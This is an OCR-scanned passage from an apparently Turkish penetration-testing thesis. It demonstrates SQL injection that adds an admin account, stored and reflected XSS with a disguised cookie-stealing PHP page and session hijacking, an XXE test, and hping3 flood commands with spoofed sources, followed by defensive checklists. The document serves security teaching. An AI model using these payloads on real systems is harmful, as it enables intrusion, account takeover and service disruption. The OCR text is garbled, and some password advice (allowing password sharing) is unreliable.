http://fatura.karansu.com/Default?ld=77627+INSERT+INTO+TBL_ADMIN(USERNA
ME.+PASS.+EMAIL)+VALUES(‘karatay’.’ 12345, adminim@example.com’) adresini

girerek Insert Into komutuyla yeni admin ekleyerek sistem ele gegirilmistir. Asagidaki
Sekil 70’de goriildiigii gibi basta admin kullanic1 ad1 ve sifresi tekti ekledikten sonra
eklemis oldugumuz kullanic1 ad1 ve sifreyi Sql tablosunda gosterilmistir(Demirol,Das ve

Baykara,2013).

ID USERNAME PASS EMAIL
1 1 | KRNS 1234432 info@example.com

ID USERNAME PASS EMAIL

............

1 i1 i KRNS 1234432 info@example.com
2 2 karatay 12345 admin@example.com

Sekil 70. Giincellenen admin tablosu

4.5.5 XSS Aciklari

Xss yani cross site scripting agigt OWASP her sene ¢ikarmis oldugu giivenlik sikintisi
veren 10 saldir1 agikliklarinda ilk 5 te yer almaktadir. Xss html kodlarinin arasina islemci
tabanli kodlarin yerlestirilmesi ve kullanici tarafindan tarayici boliimiinde kodun aktif

hale getirilmesi olarak tanimlanmistir(Vural ve Sagiroglu,2008).

Stored, Reflected ve Dom based olmak iizere ii¢ ¢esiti bulunmaktadir.
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http://fatura.karansu.com/Default?Id=77627+INSERT+INTO+TBL_ADMIN(USERNAME,+PASS,+EMAIL)+VALUES('karatay','12345','adminim@example.com')
http://fatura.karansu.com/Default?Id=77627+INSERT+INTO+TBL_ADMIN(USERNAME,+PASS,+EMAIL)+VALUES('karatay','12345','adminim@example.com')

4.5.5.1 Stored xss agikligi

Stored xss acikligindan bahsedecek olursak kodlari incelenen web sayfasinin alert ve

script kodlari kullanilarak saldir1 diizenlenmistir.

Sname « mysql real escape string(Sname);

Squery « “"INSERT INTO guesthook (comment name) VALUES ('Smessage’ ., "Sname’) ;"
Sroesult -« mysql queryi(Squery) or die('=prex’ mysqQl _error() . ‘«</pre=' );:

Message * [

} - —
Name * pontoster \
T
<sCript>amon("hollo X55" F::::xy J

LA

hello xss

Sekil 71. Stored xss ag¢ikhgi

DVWA araci ile xss stored kismindan <script>alert(“hello xss”)</script> yazdigimizda

ayni sekilde hello xss yazimizi veri tabanimiza kaydedildigi yerden Oniimiize
¢ikmaktadir.

4.5.5.2 Reflected xss agiklig

Istemciden gelen verinin ekranda gosterebildigi web sayfalarinda metin kutusuna
girdigimiz verilerde veya linklerden gelen verilere karsi savunmasiz olan ve denetime
sahip olmayan web sayfalarinda saldiriya agik reflected yani yansitma XSS saldirilarina
aciktirlar. A¢ik olmasindan dolayr da saldir1 yapacak kisi metin kutusu ve url kismina
javascript kodlar1 yazarak saldirmak istedigi web sayfasi iizerinde javascript kodlarim
deneyebilmektedir. Simdiki yapacagimiz saldirida biz hem saldirgan hem de saldiriya
ugrayan sistem olacagiz. Bu islemi yaparken ise iki tarayici kullanacagiz; saldirgan

chrome, saldiriya ugrayan ise firefox tarayicilarini kullanmaktadir. Saldirganin sitesini
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olusturalim bunu da windowsta DVWA kullandigimiz ig¢in C:xampp\httpdocs dizinine
hacksite adl1 bir dosya olusturup index.php igerisine asagidaki kod bolimi yazilir ve

kaydederiz.

<html|>

<head>
<title>404 Not Found</title>

</head>

<body>

404 Not Found
<?php
$ip = $_SERVER["REMOTE_ADDR"; //IP gbrme
$cookie =$_GET["cookie"]; /ltiklayanin gerezi alinir.
$dateTime = date('d.m.y \t H:i:s"); //arih

$file = fopen(“cerezim.html", "a+");

fwrite($file,

fwrite($file, "IP Adresi : " . $ip . "<br>");

fwrite($file, "Giris Zamani " . $dateTime . "<br>");
fwrite($file, "Saldir1 yapilan Cerezi  :" . $cookie . "<br>");
fwrite($file,

fclose($file);
7>

</body>
</htm|>

Kaydetmis oldugumuz sayfayi hazir hale getirdikten sonra zararl linki olusturalim.

http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>window.location.href="local

host/

hacksite.com/index.php?cookie=" %2B document.cookie;</script> url ye girecegimiz
kodumuz igin + isaretini %2B olarak degistirerek uyumlu hale getirdik saldiriya
ugrayacak sisteme linkimiz gonderilerek kurban girdikten sonra cerezim.html igerisinden

alinmasi beklenmektedir.

Dinlemeye gectikten sonra saldirtya ugrayacak olan sistemin ayarlamis oldugumuz
firefox tarayicist lizerinden localhost/dvwa girerek DVWA sifre ve kullanici adimi
girdikten sonra DVWA giivenlik butonunda giivenlik seviyesini diistige getirdikten sonra,

diisiinelim ki saldirgan zararli adresi saldir1 yapacagimiz kisiye email olarak gonderdi ve
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http://localhost/dvwa/vulnerabilities/xss_r/?name=%3cscript%3ewindow.location.href=
http://localhost/dvwa/vulnerabilities/xss_r/?name=%3cscript%3ewindow.location.href=

maili alan kisi bu linke tikladiktan sonra kurban olarak biz, Firefox tarayicisindan adres
kismina

http://localhost/dvwa/vulnerabilities/xss r/?name=<script>window.location.href="http://localho

st/hacksite/index.php?cookie="%2Bdocument.cookie</script> girdikten sonra saldirgana

cerezimizi gondermis olduk saldiriya ugrayan kisi Sekil 72 oldugu gibi sayfa

goziikecektir.

localhost/ hacksite!

404 Not Found

Sekil 72. Reflected xss agikhgi

Saldir1 yapan cerezim.html dosyasina girdiginde ise asagidaki verileri gorecektir.

€ 3 locothost/ hackslil

RRERRRRBRBBRRNOBBBRRRRRRRRRRRRRRRRRRRRRR

Kurbanin IP Adresi : 127.0.0.1

Tiklama Zamani : 21.01. 21t 17:33:38

Kurbanin Cerezl : security=low; PHPSESSID=cbbnm|5ldk6uqeq7hh82som863
BRRRBRRRRR OO RSP BB OO OB RERRRCBRORRRONY

Sekil 73. Cerez dosyasi icerigi

Sirada chrome iizerinden indir EditThiscookie eklentisini indirip chrome iizerine
ekledikten sonra, saldir1 yapan olarak chrome iizerinden localhost/dvwa adresine girerek
giris ekraninda diger bilgisayarin oturumunu alabilmemiz igin PHPSESSID’ deki
kodumuzu alarak dvwa daki agik olan giris kismindan gilivenlik degiskeni disiik
oldugundan value degerimizi diisikk olarak yazip yukaridaki kisimda localhost

sekmesinde value degerine ise ¢erez icerisindeki Phpsessid degerini yaziyoruz.
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http://localhost/dvwa/vulnerabilities/xss_r/?name=%3cscript%3ewindow.location.href=%22http://localhost/hacksite/index.php?cookie=%22%2Bdocument.cookie%3c/script
http://localhost/dvwa/vulnerabilities/xss_r/?name=%3cscript%3ewindow.location.href=%22http://localhost/hacksite/index.php?cookie=%22%2Bdocument.cookie%3c/script

T . + ») (= Q ~

= localhost | PHPSESSID

A -
j@

Value
obctmuZkovm7ds3vfBro3f2ggo

Domain

localhost

Path

/

Expiration
22/01/2017 0709 AM

HostOnly [« Session [« Secure HttpOnly [«

v localhost | security

Sekil 74. EditThisCookie eklentisi kullanimi

Asagidaki onay kutucugunu da onayladiktan sonra saldir1 diizenlenen sistemin g¢erezini
tarayicisina eklemis olduk. Saldirganin chrome tizerinden localhost/dvwa girilir ve dvwa
main page kismina yonlendirecek ve login kismini atlamis olacagiz saldir1 yaptigimiz
bilgisayarin oturumunu saglamis olacagiz. Bu son islemden sonra istegimiz islemi hedef

web sayfasinda yapmis olacagiz(Simsek,2016).

4.5.6 Dom Tabanli Ag¢ikliklar

Bir HTML dosyasinin javascript ile erisim saglayip islemler yapabilen nesnelere DOM
diyebiliriz. www.karansu.com sitesine istekte bulundugumuzda sunucu bize geri
gonderim olarak header ve html kodlari gonderecektir. Yapacagimiz testte DOM’a zararli
kod ekleyerek web igerigini degistirmeye g¢alisacagiz. Yapacagimiz ilk asamada img

kodunu yazarak javascript alert olusturacagiz. Metin kismina yazacagimiz

<img src="images/logos/owasp.jpg"/> yaptigimiz sayfada beklemedigi bir resim
belirecektir. IMG etiketinin Gzelliklerinden bir tanesi vardir bu resim kodunun
igerisindeki link tarayici ile otomatik ¢alisir ve link sunucudan talep edilir. Normal

yaptigimiz iglemlerde oldugu gibi sayfa agtifimizda resimler otomatik olarak biz
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tiklamasak bile ekranda direk belirir. Metin kutusuna yazacagimiz xss komutu <img
src=x onerror=alert("XSS') /> ile popup penceresi acarak resim linki otomatik ¢alisarak

bizim yazmis oldugumu alarm komutu ekrana yansiyacaktir.

4.5.7 XXE[XML Enternal Entity] Enjeksiyon ile Agiklik Testi

Xml dis varlik enjeksiyonu diye sdylenebilir. Owasp XXE igerisinde gecmektedir.
Owaspin tehlikeli saldirilar igerisinde ilk 5 te yer almaktadir. Bu saldirida xml kodlarinin
ayristirirken tanimlanan entity ile tetiklenir. Ayristirma islemi verilerin uygulamalar

tarafindan ¢oziimlenmesi ve anlagilabilir hale gelme islemi olarak tanimlayabiliriz.

Xxe zafiyetinde sifre dosyalar1 okunabilir dos saldirisi, baglanti noktasi tarama iglemleri
ssrf gibi kot amaglhi saldir1 yapabilir ve uzaktan kod calistirma gibi saldiralar

diizenleyebiliriz.

KARAMN -

 ENER)I OLGUM VE PAYLASIM SISTEMLERI

-OTURUM AG-

Kullanict Ad
Sifre
Giris Yap Sifremi Unuttum

Sekil 75. Basit login sayfasina burp suit araya girme
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www.karansu.com/log/index.html sayfasinda basit bir giris html sayfasi olusturup burp

suit araci ile saldir1 yapiyoruz.

| Forward ||  Dop | [ interceptimon | |  Acton |

_[ Raw T Params T Headers T Hex T XML ] Send to Spider
o i
POST /login.php HTTP/L.1 o fits
Host: karansu.com Send to Intruder Ctrl+l

User-Agent: Mozilla/5.0 (Windows NT &.3; WO Send to Repeater Cirl+R

Accept: */* Send to S
Accept-Language: tr-TR,tr;q=0.8,en-US;gq=0.5, S DECnCAT.

Content-Type: text/xml Send to Comparer

Referer: karansu.com/log/ index . html Send to Decoder

|Content-Length: 49 :

|Cookie: _ uvt=; uvts=E£ThanSIwinwiloNL Request in browser >
DNT: 1 Engagement tools [Pro version only] >

Connection: close
Change reguest method

<user><login></login><password></password>< Change body encoding

Copy URL

Copy as curl command

Copy to file

Paste from file

Save item

Don't intercept requests >
Do intercept | 2
Convert selection >
URL-encode as you type

Copy Ctri+C
Paste Ctrl+V
Message editor help

Proxy interception help

Sekil 76. Burp suit repeater gonderme

Islem siras1 dnceliginde ilk basta action kismindan repeater gonderi yolunu kullanarak
istegimiz repeatera gonderiyoruz. Kullanici girisi veya sifre girmeden herhangi bir veri
gondermedigimiz i¢in bos mesaj doniisii olmaktadir. Giris kisminda test kelimesini
ilettigimizde su sekilde bir sonug aliyoruz. Kimlik dogrulama politikasi i¢erisinde base64
ile degistirilmis bir hash doniiyor bu hash kismini1 tekraren ¢6ziimleme yaparak igerisinde

verinin ne oldugunu alalim.
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http://www.karansu.com/log/index.html

HTTP/1l.1 200 OK &
Content-Type: text/plain

Server: Microsoft-IIS/7.5
¥X-User-Auth: False

X-Frame-Origin: DENY

X-Auth-Policy:
e3N0b3JhZZUEINN1Y3J1dC50eHQiLHBhdAGyET
W4ifQ== g
X-Allocated-On-The-Fly-By: Coliseum W 153 pa
Framework

Send to Spider

Send to Intruder Ctri+l

X-Powered-By: Karansu Enerji
Date: WED,22.10.2020 22:46:35 GMT Send to Repeater Ctrl+R
Connection: close Send to Sequencer

Content-Length: 31
Send to Comparer

Incorrect username or password Send to Decoder

Show response in browser

Request in browser >
Engagement tools [Pro version only] |
Copy URL

Copy as curl command

Copy to file

Save item

URL

HTML
e
Add to site map Baseb4 > " Gaseoidecode  CirieShiftsB

Convert selection Spasmictsirng » Base64-encode Cirl+B

Ctrl+C

Save entire history

>
| 3

Paste URL as reqguest

Sekil 77. Hash decode etme

Aldigimiz1 hashimizi isaretledikten sonra sagi tiklayarak sectigimizi convert ederek
base64 kismindan decode ediyoruz. Base64 decode yapmak i¢in bircok cevrimigi

decoderlar bulunmaktadir.
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E Converted text

[ Copy to clipboard J Close

{storage:"secret.txt" ,path:"/" ,principal: "token"} A

v

[ 2 J [TJ lTJ [TJ Type a search term 0 matches
(- . www.karansu.com/secret._txt

{storage: {
secret_token session_1:"9272e47elle3ad2f9cée74eled4alébBeld”,
secret_token session 2:"1224e47e92e3ad2f9cée74eled4aléBelsd”,
secret_token session 3:"8144e47e42e3ad2f9cée74eled4aléBesd”,
secret_token session 4:"5472e47e32e3ad2f9cé6e74eledaléBed”},
comment: "Congratulations! You Hack Me!!!"™}

Sekil 78. Doniistiiriilen hash ile secret.txt dosyasi

Hashimiz decode ettikten sonra secret.txt dosyasini bulundugu ana dizinde oldugunu

tespit ettik ve iceriginde tokenlarin altinda da you hack me notunu goriiriiz.

Sekil 75’te olan login kisminda yer alan sifremi unuttum kismina tiklayarak burp suite ile
araya girmekteyiz. Istegimizi repeatera gonderiyoruz. Xml veri iletildiginde admin olarak

giris yaptigimizdan dolay: yanitladiginda admin olarak doniiyor.
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Raw | Params | Headers | Hex | XML Raw | Headers | Hex

POST /forgotpw HTTP/L.1 i HITP/1.1 200 0K

Aceept: text/plain, */*; g=0.01 F Server: nginx/l.4.1

Content-Type: text/xml Date: Wed, 23.11.2020 15:08:35 GHT
X-Requested-With: XMLHttpRequest Content-Type: text/html; charset=utf-8
Beferer:karansu.com/log/ index . html Content-Length: 9

Aceept-Language: tr Connection: close

User-Agent: Mozilla/5.0 (Windows NT &£.3; WOWE4; Trident/7.0; LCJE;

rv:1l.0) like Gecko karatay

Host: karansu.com/log/ index . html
Content-Length: 98

DNT: 1

Pragma: no-cache

Comnection: close

<IDOCTYPE [
<IENTITY [deneme " kazatay s|:
<forgot><username Edensne;|</usernaue> </ forgoe>

Sekil 79. XXE injection zafiyeti testi

“<IDOCTYPE deneme [<!ENTITY deneme ‘“karatay”>]> payload: deneme degiskeni
ile birlikte Karatay isminde bir string basiyoruz. Payloadimizi enjeckte ettikten sonra ve
geri yansitilan kisma yani response kismina kontrol ettigimizde Karatay yazimizi
gosterdigini bu gosterim sonucunda XXE enjeksiyon zafiyetinin oldugunu ve 6nleminin

alimmadig1 gézlenmektedir(Feke,2017).

4.5.8 Servis Dis1 Birakma (Dos) Atak Testi

Dos saldirist internete bagli bir sistemin hizmetlerinin devre dist birakma, sistemi
agirlagtirllmasini saglama veya baglh oldugu kaynaklarina zarar vererek caligsmasini
durdurmaya yonelik yapilan zararli saldirt tiirlerinden birisidir. Dos saldirist igin hi¢bir
teknik bilgiye sahip olmadan kimi zaman siyasi kimi zaman saldirganin keyfine gore
yaptig1 son yillarda da iilkeler arasinda 6nemli kurumlara yapilan saldir1 seklinde savas
aracit olarak kullanimaktadir.2020 Yilinda Dos saldirilarin %151 artis oldugu

gozlenmektedir.

4.5.8.1 Syn flood testi

Syn flood testinde saldir1 yapilacak hedefe siirekli Syn paketleri gonderilerek bant
genisliginden fazlasinin artirilarak buna sebep ile CPU arttirilmasi gibi birgok zarar
verilerek sistemin yavaglatilmasi sebep olacaktir. Saldir1 yapilan sistemde gerekli

giivenlik Onlemleri alinmamis ise 2mb ile 100 mb hatta sahip olan sistemlere zarar
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verebilir. Sahte ip’ ler ile saldir1 yapilabilir. Sekil 80°de goriildiigii gibi her Syn paketi
gonderilen sistem ACK-SYN paketi tiretecektir. Syn paketleri ortalama 65 byte olup 8
mb hat sahibi bir sistem sahibi ise saniyede 17000 Syn paketi iiretebilir.

Ortalama 60 byte

fie B Ves Optew Tiesfe Sowt Teok Meb

JVQIRN W] TS FRY ¢ &

it Beo vy e

Gonderilen her SYN paketi icin hedef sistem ACK-SYN
paketi Uretecektir.

Sekil 80. Tcp syn paketi

Syn flood saldirisi, agik bir portuna saldir1 yapilacak sistemin kapasitesinden fazlaligi
iletilmesi ve zarar verilmesidir. Bu saldirilar kapasite dolumu ile alakali oldugundan bu

kapasiteye backlog queue denilmektedir(Shevtekar,Anantharam ve Ansari,2005).
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Sekil 81. Syn flood durumu

Syn flood araglarindan 6rnek verecek olursak bunlar Netstress, Juno,Hping, Windows
tabanli araglar ve botnet yonetim araglaridir. Yapacagimiz testte Hping aracini1 kullanarak

Tcp Syn paketi gonderip servis devre dis1 birakacagiz.

Sekil 82. Syn flood saldirisi

Saldir1 yapilan sistemin Ip adresi se¢ilen gonderilen Syn paketi Syn + Ack paketi Rst
cevabi ile donecektir.-S(Syn paketi) sonra —rand —source yazarsak farkli ip adreslerinden
paket gonderilecektir. Netstat araci ile Syn flood var m1 yok mu belirleyebilir Syn flood

saldirilarin ¢oziimii i¢in Syn cookie ve Syn proxy kullanilir(Polay,2016: 438819).
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4.5.8.2 UDP flood saldirisi

Yapacagimiz testte saldir1 yapilacak sisteme port taramasi yapilarak 53. Port {izerinden

Dns hizmeti vermekte olan sisteme saldir1 yapilmistir. Bunda da hping araci ile Dns hedef

olmasi ile UDP flood yaparak yanit veremeyen hale getirilmistir.

Sekil 83. Udp flood

4.5.8.3 ICMP flood saldirist
Uygulayacagimiz testte saldir1 yapmak i¢cin Hping3 aracini kullanacagiz Hping3 aract
pingin st modeli diyebiliriz. Dinleme islemimizi Tcpdump araciligiyla paket

gonderimlerini kontrol edecegiz.

Sekil 84. Icmp flood ve tcpdump

101



Iki adet terminal agiyoruz; birinde “tcpdump host 192.168.1.40” yazarak tcpdump
aractmizi ¢aligtiracagiz. Diger terminalimizde saldiriyr gerceklestirecegiz. Bu saldiri,
hping3 --icmp 192.168.1.40 --flood --spoof 6.6.6.6 yazdigimiz komutumuzla Sekil 84 de

goriilmektedir.
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5.SALDIRI YUZEYi BELIRLENMESI VE AZALTILMASI

Yapilan aragtirmalarda bir sistem giivenliginde kullanicilarin en az 6nem vermis oldugu
sey, korumak istedikleri seyi tanimlama konusudur. Her kullanict saldirilara karsi
korunmak ve oOnlem almak istemekte ve bu saldirilar belirli durumlara gore
gerceklesmektedir. Veri glivenligi, saldir1 ylizeyi kimligi bilinmeyen ve sistem tarafindan
dogrulanmamig bir kullanicinin sistem tarafina kod girebilecegi herhangi bir alan
diyebiliriz. Saldir1 yiizeylerini ii¢ alanda siniflandirabiliriz: Ag, yazilim ve kullanici
saldir1 yiizeyi. Saldir1 Yiizeyi, teknik anlamda sadece sisteme girmede kullanici tanimi
olmayan kullanicilarin sisteme nasil giris yapacagi bir 6l¢ii olsa da, saldirilar sadece

disardan degil ayn1 zaman da ayn1 agda tanidik kullanicilardan da gelebilmektedir.

Bu yiizden kullanicilarin daha az kod yiikleyebildikleri ve islemler yapabildikleri,
yapilacak islemleri bolmek ve yalnizca giivenilir kullanicilarin degistirebilecegi 6nemli
kod ve islevlerin erigimi ile saldir1 yiizeylerini azaltmanin ¢6ziimleri bulunmaktadir. Su
konu ¢ok 6nemlidir. Saldin yiizeyini azaltmak bir saldir1 igerisindeki sistemin saldirgan
tarafindan verecegi hasar1 azaltma ama yapilacak olan saldirilarin olugma imkani ve

thtimallerini diisiirmektir.

Bir programla ugrasirken, herhangi bir agda islem gerceklestirirken veya web sayfalariyla
ugrasirken her zaman bir saldir1 yiizeyi olacaktir. Bazi saldir1 yiizeyleri diistiriilebilir veya
timden kaldirilabilmektedirler. Baz1 durumlar da ise yazilimda bulunan kritik noktalar
yazilimin basarili bir sekilde ¢alismasinda biiyiik bir oneme sahiptir. Orek verecek
olursak kullanicilarin yorum yazmasini saglayan bir giris formunda giivenlik tehditleri
soz konusudur. Bilgi toplanmasi gerekiyorsa gerekli olan tek yolu kullanicilarin giris

yapmasidir.

Yapacagimiz bu boliimde yapmis oldugumuz saldir1 tiirlerine yonelik saldir1 ylizeylerinin
belirlenmesi ve saldir1 ylizeylerinin azaltilmasi, glivenlik ¢oziimleri ve IT uzmanlar1 ve
bizlerin almasi gereken onlemlerle sizma testlerinde ag saldirilari, sistem saldirilart ve

sosyal miihendislik saldirilarinda 6rnekler ve metrikler olarak bilgi verecegiz.
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5.1 DoS and DDoS Saldirilarinda Saldir1 Yiizeyinin Belirlenmesi ve Alinacak
Tedbirler

Dos ve Ddos saldirilarini azaltabilmek ve saldirganlarin bize farkli yollardan bu saldiriy1
yapabilmesi igin gereken altyapiyi, saldir1 yiizeyini azaltarak minimum seviyeye

getirebiliriz. Su sekilde tedbirlerimizi siralayabiliriz:

e Kullanilan isletim sistemlerinde ti¢iincii parti yazilimlar giincellenmelidir.

e Giivenlik duvari agik olmali ve bu giivenlik duvarindan gelen ve giden baglantilar
stirekli filtrelenmelidir.

¢ Routerlar yani yonlendiricileri, aga yonelik sadece yasal baglantilara izin verecek
sekilde diizenlemeler gergeklestirilmeli ve bu yonlendirme siiresince kotii amagh
olan paketler bloklanmalidir.

e Yogun olarak farkl iilkelerden gelen paketler olacaktir. Yogunluga gore ayni
tilkelerden gelen kotii niyetli paketler engellenmelidir.

e Yansima sunucularindan gelen paketlerin tamami engellenmelidir.

o Kotii amaglh gelen paket, trafik istekleri sinirlandirilarak sistem giivenligine
alinmalidur.

e Dos saldirilarini tespit edebilmek i¢in IDS (saldir1 tespit etme) ve IPS (Saldirty:
durdurma) ile giivenlik iist diizeye ¢ikarilmalidir. Gelen paketler analiz edilerek
otomatik olarak uygulamalar yapilabilmeli ve saldir1 yiizeyinin ve tehdit
unsurlarinin azalmasi saglanmalidir.

e Kullanilmayan hizmetler, tespit sonucu gereksiz olan uygulamalar devre dist
birakilmalidir.

e Iletisim protokolleri analiz edilerek gereksiz olanlar kapatilmalidir.

e Kritik baglantilarda bant genisligi arttirilmalidir.

e Web sunucularin TTL siireleri azaltilmalidir. Bu sekilde Dns kayitlarinin siire ile
sinirl olarak cache lizerinde tutulmasi saglanmalidir.

e [SS ve Web Dos ve Ddos saldirt dnleme hizmetleri kullanilmalidir.

Yukarida vermis oldugumuz 6nlemler ile saldir1 yiizeyini belirleyip onu en az seviyeye
kadar indirerek saldirgan1 engellemeye calisabiliriz. Fakat Dos ve DDos saldirilar

yapmis oldugumuz testlerde de goriildiigii gibi direk engellenemez. Ozellikle Ddos
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saldirilar1 birgok yerden ve dagitilmis olan kaynaktan gelen bir saldir1 oldugu i¢in bant
genisligi ile dogru orantili olarak fazla olmasi gerekmektedir. Bu saldirida gormiis
oldugumuz gibi aglar1 korumak i¢in yapabilecegimiz belirli noktalara kadar yukarida

gordiiglimiiz 6nlemlerdir.

5.2 Sifre Kirma Saldirilarinda Saldin Yiizeyi Belirleme ve Alinmasi1 Gereken
Tedbirler

Parola saldirilari, saldirganlar i¢in en ¢ok kullanilan ve bagvurulan saldirilarin basinda
gelmektedir. Sifre kirma saldirilart kurumsal sistemlere uygulanabildigi gibi normal
kullanicilar i¢inde uygulanmaktadir. Kullanicilar, farkli web hizmetleri i¢in kolay
bulunabilen, ¢ok kullanilan ve benzer sifreler kullanma egiliminde olacaktir. Ozellikle
sosyal medya kullanan kullanicilar, parola igeriklerinde, hangi takimi tuttugu, nereli
oldugu, dogum tarihi esi ya da partnerinin kim olduguyla ilgili bilgiler paylasmaktadirlar.
Bu bilgiler saldir1 yapmak isteyen siber saldirganlar igin bilgi edinme firsatidir ve saldirt
yiizeyini biiyiik Ol¢iide genisletmektedir. Bu gibi bir¢ok durum giivenlik tehditlerin
artmasina neden olmaktadir. Saldir1 ylizeyini belirledikten sonra asagida belirttigimiz
onlemler sonucunda, sifre kirma saldirilarina alabilecegimiz onlemler, saldirt yilizeyini

azaltarak kullanicilari, saldirtya ugramaktan koruyacaktir.

o Sifreler en az sekiz karakter olmali ve igerisinde kiigiik harf biiyiik harf olmali ve
G & LGS, ], %, © bu karakterleri igermelidirler.

e Kullanilan sifreler kolay bilinen qwerty,12345,password gibi kelimeler
barindirmamalidir.

o Sifreler icerisinde isim, sehir, dogum tarihi ve desteklemis oldugunuz takimlarla
ilgili kisisel bilgiler icermemelidir.

o Sozliiklerde bulunan sifreler kullanilmamalidir.

e Parola dnlemlerinin kurumsal kullanic1 hesaplarini giivenligi saglamak i¢in sistem
yoneticileri tarafindan otomatik olarak atanmasi daha giivenlidir.

e Ag ilizerinde kurumsal sifre politikasi yayinlayarak kullanicilarin bu politikaya
uymasi saglanmalidir.

e Default olarak verilen sifreleri tekraren fabrika ayarli sifrelere dontistiiriin.

e Kurumsal sistemlerde kullanicilarin kolayca sifrelerini sifirlamasina izin verin.

e Sifre paylasimina izin verin.
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e Ucten fazla yanlis sifre girildiginde hesaplar1 bloke edin.

e Kurumsal sistem lizerinde calisan uygulamalarda farkli sifreleme yontemine
gecin.

e Sifreleri diiz metin olarak herhangi bir dosya icerisinde saklamayin.

e Sifreleri karma formatta saklayin tanimlayici sifrelerden kaginin.

e Belirli stireler igerisinde sifrelerinizi degistirin.

e Her zaman iki adimli kimlik dogrulama kullanin; sms veya mail gibi.

o Sifreleri kayit altina almayin ve otomatik sifre doldurma sekillerini kapatin.

5.3 Web Uygulama Saldirilarinda Saldir1 Yiizeyi Belirleme ve Alinmasi1 Gereken
Tedbirler

Web uygulamalari, web browser lizerinde c¢alisan sayfalar {lizerinden kullanicilarin
kullanabilmesi i¢in ara yliz destegi veren yazilimlardir. Web uygulamalari, kullanici
boliimiinde yer alan ara yiiz ile sunuculardan veri almaktadir. Bu nedenle web uygulamasi
giivenlik agikliklar1 tehlikeli ve veri sizintist yoniinden ciddi sorunlara sebep
olabilmektedir. Birgok saldir1 ve testler boliim 4” te goriilmiistiir. Sql injection saldirist,

Xss saldirisi, CSRF ve komut enjeksiyon saldirilart web uygulama saldirilarindandir.

Kurumsal aglarda, normal kullanic1 aglarinda ve web uygulamalarda saldin yiizeyini
belirleme ve azaltmak i¢in alinabilecek tedbirlerimiz vardir. Bu tedbirler 6zelliklerine

gore asagida maddeler halinde belirtilmistir.

e “xp_cmdshell” gibi saldir1 yoniinden tehlikeli Sql komutunu devre dis1 birakilsin.

e Veri tabam stirekli kontrol edilerek siipheli goriinen degisiklikleri tespit edin.

e Veri tabani hizmetlerini en az ayricalikli hesaplarla calistirin.

e Kot amagli komut dosyalar1 ve Sql komutlarinin galistirilmasini engelleyebilmek
icin WAF web uygulama aracini giivenlik duvarini kullanin.

e Veri tabani servislerini ve web sunucularini koruma altina alin.

e Binary verileri, kagis dizileri ve yorum igeren ve istek gonderilebilen Kullanict
giris alanlart gibi kisimlar sinirlayarak dogrulama isteyin.

e Meta karakterlerinin filtreleyin.

e Form ve gizli alanlar1 dogrulattirin.

106



e Web tarayicilarin ve kullanmis oldugunuz web uygulamalarin kullanici oturum
acma bilgilerini kaydetmesine izin vermeyin.

e Kullanmis oldugunuz ve oturum agilan web uygulamalarin1 kullandiktan sonra
oturumlart kapatarak onbellekleri stirekli temizleyin.

e Enjeksiyon saldirilarini bloklamak i¢in veri tabanina zarar verecek karakterleri
kullanmaktan kag¢inin.

e Kullanmis oldugunuz web uygulamalarmin giivenlik agiklarini test ederek
analizler ¢ikararak kurumsal aglar da ise otomatik giivenlik agig1 tespit eden
uygulamalar kullanin.

Yapacagimiz bu islemler, saldirilar1 engelleyemez fakat saldir1 yiizeyini azaltarak

saldirtya ugramis sistemin en az zarar alacak sekilde etkilenmesini saglar.

5.4 Sosyal Miihendislik Saldirilarinda Saldir1 Yiizeyi Belirleme ve Alinmasi
Gereken Tedbirler

Sosyal giivenlik saldirilari, insan duygu ve giiveni iizerine saldirganlarin yapmis olduklari
sinsi bir saldir1 ¢esididir. Insanlarin gizli veya kisisel bilgilerini ellerinde izinli veya
izinsiz alirlar. Saldirganlart engelleyebilecek bir makine veya giivenlik duvart yoktur.
Sosyal miihendislik saldirilarimin  hedef kitlesini; teknik destek operatorleri, IT
yoneticileri, sistem yoneticileri gibi kritik meslek gruplar ile her kullanici bu saldirinin

hedef kitlesini olusturmaktadir.

Asagida gosterecegimiz tedbirler ve tespitler sosyal miihendislik saldirilarinin kesin
¢Oziimii olmamakla birlikte, saldir ylizeyini azaltarak saldirganin verecegi zararlari

minimize etmektedir.

e Kurumsal giivenlik politikaniz olmali ve bununla alakali beyan yaymlanmali ve
imza altina alinmalidir.

e Sosyal miihendislik saldirilari konusunda farkindalik ve bilgi egitimleriyle
beraber ¢alisanlara seminerler verilmelidir.

e Saldirganin piggybacking dumspter dalis saldiris1 yapamayacagi kurumsal
fiziksel giivenlik politikasi olusturulmalidir.

e Kurumsal aglar i¢in i¢eriden saldirganlara kars1 tedbirli olunmasi gereklidir.
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Hassas bilgileri giivende tutarak bu bilgilere ulasabilecek sadece yetkili kisiler
tarafindan ulasabilmesine izin verilmelidir.

Phishing saldirilarin1 diistirebilmek icin posta ag gecidi irilinlerini(solarwinds,
spam titan, ironscales, barracuda, cisco, cloud, email, security gibi) araglarin
kullanilmalhidir.

Indirilen kotii amagli viriis ve yazilimlari tespit edebilmek igin giincellenmis anti
virilis yazilimlar1 kullanimi1 saglanmalidir.

Mail kutunuza gelen tiklama isteyen tehlikeli phishing saldirilarini size form
doldurulmali ve bilgilerini isteyen mailler agilmamalidir.

E postaniza gelen bit.lyigoog.gl gibi kisaltilmis olan linkleri tiklanmamalidir.
Bat, Vbs, doc, pdf, xls, rar 6zellikle exe dosya uzantilariyla eklenen dosyalar
a¢ilmamalidir.

Cevapsiz aramalart ve smsleri mobil cihaz iizerinden karsilik vererek
aranmamalidir.

E posta ve Telefon aracigiyla kisisel bilgi ve sifrelerini kesinlikle verilmemelidir.
HTTPS web sayfalarina ve SSL TLS sertifikalarina sahip kisisel bilgilerini
verdiginiz zaman giivenli olup http olan sayfalarda giivenlik agiklar1 oldugu
kisisel veriler kaydedilmemelidir.

Cevrimigi hizmetler; hotmail, facebook, twitter gibi sosyal paylasim sitelerinde
iki yonlii kimlik dogrulama kullanilmalidir.

Yerel ag baglantisi olan giivenliksiz aglarda internet bankacilik sistemi

kullanilmamalidir.

5.5 Exploit Istismar Saldir1 Yiizeyi Belirleme ve Alnmasi Gereken Tedbirler

Exploit saldirilar, en tehlikeli saldirilardan olup, sistem sahibinin tiim 6nlemleri almasina

ragmen sisteme yapilan saldirilarda hedef sistemi kullanabilir ve yonetilecek duruma

getirirler. Bu konuda Bilisim teknolojileri uzmanlarinin siirekli kendilerini gelistirerek

giincel triinleri ve bu konuda egitimleri takip etmelidir. Sistemleri bu sekilde istismar

